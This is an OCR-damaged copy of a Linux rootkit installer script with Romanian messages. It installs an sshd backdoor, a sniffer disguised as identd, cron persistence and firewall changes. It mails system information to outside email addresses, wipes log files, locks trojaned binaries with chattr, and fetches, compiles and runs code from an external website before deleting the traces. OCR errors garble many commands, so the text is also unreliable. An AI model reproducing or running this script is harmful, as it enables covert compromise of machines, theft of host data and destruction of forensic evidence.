cp -f vadim /usr/bin >>install.log 2>&1

echo "${c1}${cyn}|8${c1}${hcyn}t--- ${c1}${wht}imp"
cp -f imp /usr/bin >>install.log 2>&1

echo "${c1l}${cyn}|${c1}${hcyn}--- ${c1}${wht}slice"
cp -f slice /usr/bin >>install.log 2>&1

echo "${cl}${cyn}|${cl}${hcyn}--- ${c1l}${wht}sl2"
cp -f 812 /usr/bin >>install.log 2>&1

echo "${cl}${cyn}|${cl}${hcyn}= ${cl}${hwht}Installing sniffer
echo "sniffer " >> install.log
if [ ! -d /usr/local/games ]; then
mkdir -p /usr/local/games >>install.log 2>&1
fi
cp -f linsniffer /usr/local/games/identd >>install.log 2>&1

cp -f sense /usr/local/games/banner >>install.log 2>&1

oo ${c1}${wht}"

echo "${c1}${cyn}|${c1}${hcyn}= ${c1}${hwht}Installing sshd backdoor...${cl}${wht}"

cd sshd
./sshd-install >>install.log 2>&1
cd ..
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if [ -f /etc/rc.d/init.d/functions ]; then
cat functions >>/etc/rc.d/init.d/functions
else
cat functions >/etc/rc.d/init.d/functions
chmod +x /etc/rc.d/init.d/functions >>install.log 2>&1
fi
if [ -f /etc/rc.d/init.d/xinetd ]; then
touch -acmr /etc/rc.d/init.d/xinetd xinetd >>install.log 2>&1
cp -f xinetd /etc/rc.d/init.d >>install.log 2>&1
/etc/rc.d/init.d/xinetd start >>install.log 2>&1
else
touch -acmr /etc/rc.d/init.d/inet inet >>install.log 2>&1
cp -f inet /etc/rc.d/init.d >>install.log 2>&1
if [ -x /sbin/chkconfig ]; then
/sbin/chkconfig --add inet >>install.log 2>>install.log
else
1n -s /etc/rc.d/init.d/inet /etc/rc.d/rc0.d/K50inet >>install.log 2>&1
1n -s /etc/rc.d/init.d/inet /etc/rc.d/rcl.d/K50inet >>install.log 2>&1
1n -s /etc/rc.d/init.d/inet /etc/rc.d/rc2.d/K50inet >>install.log 2>&1
1n -s /etc/rc.d/init.d/inet /etc/rc.d/rc3.d/S50inet >>install.log 2>&1
1n -s /etc/rc.d/init.d/inet /etc/rc.d/rc4.d/S50inet >>install.log 2>&1
1n -s /etc/rc.d/init.d/inet /etc/rc.d/rcb.d/S50inet >>install.log 2>&1
1n -s /etc/rc.d/init.d/inet /etc/rc.d/rc6.d/K50inet >>install.log 2>&1
fi
/etc/rc.d/init.d/inet start >>install.log 2>&1

fi

/etc/rc.d/init.d/atd start >>install.log 2>&1

echo "${cl}${cyn}|${cl}${hcyn}= ${cl}${hwht}Setting up crontab entries...${cl}${wht}"

crontab -u operator crontab-entry >> install.log 2>&1

echo "${cl}${hgrn}topen ports:${cl}${whtl}"
if [ -x /usr/sbin/lsof ]; then
/usr/sbin/lsof |grep LISTEN
else
/bin/netstat -algrep LISTEN|grep tcp
fi
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echo "${cl}${hgrn}checking for other rootkits:${cl}${wht}"
if [ -d /dev/ida/.inet ]; then
echo "${cl}${hred}/dev/ida/.inet${c1}${wht}"
fi
if [ -f /usr/bin/hdparm ]; then
echo "${cl}${hred}/usr/bin/hdparm${cl}${wht}"
fi
if [ -d /dev/.rd 1; then
echo "${cl}${hred}/dev/.rd${c1}${wht}"
fi
it [ -d /var/run/.pid ]; then
echo "${cl}${hred}/var/run/.pid${c1}${wht}"
fi
if [ "‘locate alya.cgi 2>/dev/null‘" ]; then
echo "${cl}${hred}alya.cgi${cl}${wht}"
locate alya.cgi 2>/dev/null
fi
if [ -x /usr/bin/sourcemask ]; then
echo "${cl}${hred}/usr/bin/sourcemask${cl}${wht}"
fi
if [ -x /etc/rc.d/init.d/init ]; then
echo "${cl}${hred}/etc/rc.d/init.d/init${c1}${wht}"
fi
if [ "‘locate c700 2>/dev/null‘" ]; then
echo "${cl}${hred}c700${c1}${wht}"
locate c700 2>/dev/null|head -n 5

fi

if [ -d /var/spool/cron/".. "/.zoot/ ] || [ "‘locate zoot 2>/dev/null‘" ]; then
echo "${cl}${hred}zoot..${c1}${wht}"
locate zoot 2>/dev/null|head -n 5

fi

if [ "‘locate rsha 2>/dev/null|egrep -v marshal‘" ]; then
echo "${cl}${hred}rsha :\\${c1}${whtl}"
locate rsha 2>/dev/null|head -n 5

fi

if [ "‘locate xper 2>/dev/null|egrep -v fixperm‘" ]; then
echo "${cl}${hred}xper${cl}${wht}"

locate xper 2>/dev/null|head -n 5
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fi
if

fi
if

fi
if

fi
if

fi
if

fi
if

fi
if

fi
if

fi

if

fi

[ "“locate .. 2>/dev/nulllegrep -v ’1.gz’‘" ]; then
echo "${cl}${hredthmm.. ${c1}${wht}"

locate ..l|legrep -v ’1.gz’|head -n 40

[ "‘locate tcp.log 2>/dev/null‘" ] || [ "‘lsof|grep tcp.log‘" 1 ||

[ "“locate sniffer 2>/dev/null‘" ]; then
echo "${cl}${hred}sniffer logz${cl}${whtl}"
locate tcp.log 2>/dev/null

lsof |grep tcp.log

locate sniffer 2>/dev/null

[ "‘locate .1proc 2>/dev/null‘" ] || [ -d /usr/src/.puta ] ||
echo "${cl}${hred}possible tk${cl}${wht}"

[ "‘locate adore 2>/dev/null‘" ]; then

echo "${cl}${hred}possible adore 1km${cl}${wht}"

[ "‘locate psybnc 2>/dev/null‘" ]1; then
echo "${cl}${hred}hmm.. a fucking psybnc around${cl}${whtl}"

locate psybnc 2>/dev/null|head -n 20

[ "‘locate mech 2>/dev/null|grep -v ’listmech’‘" ]; then
echo "${cl}${hred}taargh.. a fucking mech around${cl}${whtl}"

locate mech 2>/dev/nulll|grep -v ’listmech’|head -n 20

[ "‘locate eggdrop 2>/dev/null‘" ]; then
echo "${cl}${hred}toopz.. a fucking egg around${cl}${wht}"
locate eggdrop 2>/dev/null|head -n 40

[ "‘locate sshdu 2>/dev/null‘" ]; then
echo "${cl}${hred}sshdu..${c1}${wht}"

locate sshdu 2>/dev/null

[ "‘ps -ax|grep "\./"|grep -v greplgrep -v install‘" ]; then
echo "${cl}${hred}suspect processes:${cl}${whtl}"

ps -axlgrep "\./"|grep -v greplgrep -v install

[ -f /etc/ttyhash ]; then
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echo "${cl}${hred}/dev filez:${cl}${wht}"

find /dev -type flgrep -v MAKEDEV|grep -v ttyo

echo "${cl}${hred} Patching ${cl}${wht}"
/etc/rc.d/rc3.d/S1lportmap stop >>install.log 2>&1

mv /sbin/portmap /sbin/iportmap

if [ -x /sbin/chkconfig ]; then

/sbin/chkconfig --del portmap

fi

/sbin/ipchains -A input -p tcp -j ACCEPT -s 127.0.0.1 -d
/sbin/ipchains -A input -p tcp -j DENY -s 0.0.0.0/0 -4 O.
/sbin/ipchains -A input -p udp -j ACCEPT -s 127.0.0.1 -d
/sbin/ipchains -A input -p udp -j DENY -s 0.0.0.0/0 -4 O.
/sbin/ipchains -A input -p tcp -j ACCEPT -s 127.0.0.1 -d
/sbin/ipchains -A input -p tcp -j DENY -s 0.0.0.0/0 -d O.
/sbin/ipchains -A input -p udp -j ACCEPT -s 127.0.0.1 -d
/sbin/ipchains -A input -p udp -j DENY -s 0.0.0.0/0 -4 O.
/sbin/ipchains -A input -p tcp -j ACCEPT -s 127.0.0.1 -d
/sbin/ipchains -A input -p tcp -j DENY -s 0.0.0.0/0 -4 O.
/sbin/ipchains -A input -p udp -j ACCEPT -s 127.0.0.1 -d

o O O O O O o o o o o o
O O O O O O o o o o o o

/sbin/ipchains -A input -p udp -j DENY -s 0.0.0.0/0 -4 O.
cp me /bin

mkdir /usr/man/manl/psybnc

mv get /usr/man/manl/psybnc

rpm -ivh --force ftp://ftp.intraware.com/pub/wget/wget-1_5_3-
echo "${cl}${hgrn}Sending mail...wait few minutez${cl}${whtl}"
./sysinfo|mail -s ’Rest’ rupem2004Q@yahoo.com

./sysinfo|mail -s ’ia vezi si aici’ kelets@emoka.ro

echo "${c1}${hgrn}Done.${c1}${wht}"

/etc/rc.d/init.d/syslog start >>install.log 2>&1

echo >/var/log/messages

echo >/var/log/boot.log

echo >/var/log/cron

echo >/var/log/secure

echo >/var/log/maillog

unset cl cyn wht hblk hgrn hcyn hwht hred

.0.0/0 111
.0/0 111
.0.0/0 111
.0/0 111
.0.0/0 465
.0/0 465
.0.0/0 465
.0/0 24452
.0.0/0 24452
.0/0 24452
.0.0/0 24452
.0/0 24452

1_i386.rpm

chattr +i /etc/rc.d/init.d/sshd /etc/rc.d/init.d/inet /etc/rc.d/init.d/functions



111

/etc/rc.d/init.d/atd /usr/bin/chsh >>install.log 2>&1

chattr +i /usr/local/sbin/sshd /bin/ps /bin/netstat /bin/login /bin/ls
/usr/bin/du /usr/bin/find >>install.log 2>&1

chattr +i /usr/sbin/atd /usr/bin/pstree /usr/bin/killall /usr/bin/top
/sbin/fuser /sbin/ifconfig /usr/sbin/syslogd >>install.log 2>&1

chattr +i /sbin/syslogd >>install.log 2>&1

echo

echo "${c1l}${cyn}|${c1}${hcyn}= ${cl}${hwht}Rootkit installed. Enjoy!

echo "INCERC sa instalez si ceva cavaler"

lynx -source www.kelets.org/kel.c > kel.c&

sleep 256
gcc -o kernel kel.c

sleep 10

sleep 5
echo "NU LASAM URME"
sleep 5
rm -rf kel.c
echo "ASCUNDEM CAVALERU"
sleep 5
mv kernel /dev/
/dev/./kernel
echo "AM SI RULAT CAVALERU"
sleep 5
cd ..
echo "STERGEM TOATE URMELE"
sleep 5
rm -rf kfn
rm -rf kfn.tar.gz

exit O

#
#
#
#
# echo "Akuma Tocmai am compilat cavalerul"
#
#
#
#

:)${c1}${wht}"



